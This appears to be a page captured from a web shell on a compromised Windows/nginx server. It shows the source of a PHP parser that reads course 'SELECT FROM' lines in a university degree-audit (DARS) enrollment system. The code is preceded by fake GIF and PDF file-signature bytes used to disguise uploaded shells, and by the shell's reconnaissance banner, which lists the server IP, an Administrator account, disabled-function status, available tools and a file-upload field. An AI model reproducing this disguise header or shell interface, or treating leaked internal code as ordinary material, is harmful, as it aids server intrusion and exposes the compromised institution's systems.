GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Enrollment/parse/ |
Upload File : |
<? // Admin/Enrollment/parse/parseDARS_46_c.phpinc // Parse state 46 // Parse Ed Plan section. // Searching for: SELECT FROM Class DepartmentTaken NumberTaken // ['Class'] ['DepartmentTaken'] ['NumberTaken'] #printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); #exit; #$DEBUG_parseDARS_46_c = true; if ( !isset($DEBUG_parseDARS_46_c) ) $DEBUG_parseDARS_46_c = false; if ( $DEBUG_parseDARS_46_c ) { printLine(basename(__FILE__)); printLine('Searching for: SELECT FROM Class DepartmentTaken NumberTaken.'); printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); } if ( !$f_error ) { if ( $f_DARSlnA[1] == 'FROM' ) { // Is this a FROM line? // Yes, parse line. $lastSelectFromLine = $index; $selectFromLine = trim(str_replace("SELECT FROM: ","",str_replace("[INSERTED]","SELECT ",$f_DARSln))); $selectFromLineA = preg_split("/[\s:,]+/",$selectFromLine); if ( $DEBUG_parseDARS_46_c ) { printVar('$selectFromLine',$selectFromLine); printVar('$selectFromLineA',$selectFromLineA); } if ( !isset($selectFromIndex) ) { $selectFromIndex = 0; } $selectFromDept = ''; if ( !isset($or) ) { $or = false; } if ( $DEBUG_parseDARS_46_c ) { printVar('$f_NEEDS_found',$f_NEEDS_found); #printVar("\$DARS['Section'][$sectionName]",$DARS['Section'][$sectionName]); } if ( !$f_NEEDS_found ) { $DARS['Section'][$sectionName]['CreditsNeeds'] = $DARS['Section'][$sectionName]['CreditsRequired'] - $DARS['Section'][$sectionName]['CreditsAdded'] - $DARS['Section'][$sectionName]['CreditsInProgress']; if ( $DEBUG_parseDARS_46_c ) { printVar("\$DARS['Section'][$sectionName]['CreditsNeeds']",$DARS['Section'][$sectionName]['CreditsNeeds']); } } if ( true || $f_NEEDS_found ) { for ($i=0; $i<count($selectFromLineA); $i++){ if ( $DEBUG_parseDARS_46_c ) printVar("\$selectFromLineA[$i]",$selectFromLineA[$i].' strlen='.strlen($selectFromLineA[$i])); switch (strlen($selectFromLineA[$i])) { case 0: // Skip blank line. break; case 2: if ( $selectFromLineA[$i] == 'OR' ) { $or = true; } else { $f_error = 'SELECT FROM Department or class number '.$selectFromLineA[$i].' not recognized.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; set_state(0); } break; case 3: case 4: if ( !is_numeric($selectFromLineA[$i]) ) { $selectFromDept = $selectFromLineA[$i]; $i++; if ( isset($selectFromLineA[$i]) ) { $selectFromNumb = $selectFromLineA[$i]; } else { $selectFromNumb = '0000'; } } else { $selectFromNumb = $selectFromLineA[$i]; } if ( !isset($DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]) ) { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex] = array(); } if (!$or) { if ( $DEBUG_parseDARS_46_c ) { printVar('$selectFromIndex',$selectFromIndex); printVar('$selectFromDept',$selectFromDept); printVar('$selectFromNumb',$selectFromNumb); } $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]['Dept'] = $selectFromDept; $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]['Numb'] = $selectFromNumb; $selectFromIndex++; } else { // Add OR course to previous. $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex-1]['orDept'] = $selectFromDept; $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex-1]['orNumb'] = $selectFromNumb; $or = false; } break; case 7: $selectFromDept = substr($selectFromLineA[$i],0,3); $selectFromNumb = substr($selectFromLineA[$i],3,4); if ( !isset($DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]) ) { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex] = array(); } if (!$or) { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]['Dept'] = $selectFromDept; $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]['Numb'] = $selectFromNumb; $selectFromIndex++; } else { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex-1]['orDept'] = $selectFromDept; $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex-1]['orNumb'] = $selectFromNumb; $or = false; } break; case 8: $selectFromDept = substr($selectFromLineA[$i],0,4); $selectFromNumb = substr($selectFromLineA[$i],4,4); if ( !isset($DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]) ) { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex] = array(); } if (!$or) { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]['Dept'] = $selectFromDept; $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex]['Numb'] = $selectFromNumb; $selectFromIndex++; } else { $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex-1]['orDept'] = $selectFromDept; $DARS['Section'][$sectionName]['SelectFrom'][$selectFromIndex-1]['orNumb'] = $selectFromNumb; $or = false; } break; default: $f_error = 'SELECT FROM Department or class number '.$selectFromLineA[$i].' not recognized.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; set_state(0); break; } } } else { // There was no NEEDS line found before SELECT so skip this line. } } else { // Is this a FROM line? // No, show error. $f_error = 'This is not a properly formatted SELECT FROM line.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; } } if ( $DEBUG_parseDARS_46_c ) { printVar("\$DARS['Section'][$sectionName]['SelectFrom']",$DARS['Section'][$sectionName]['SelectFrom']); #exit; } ?>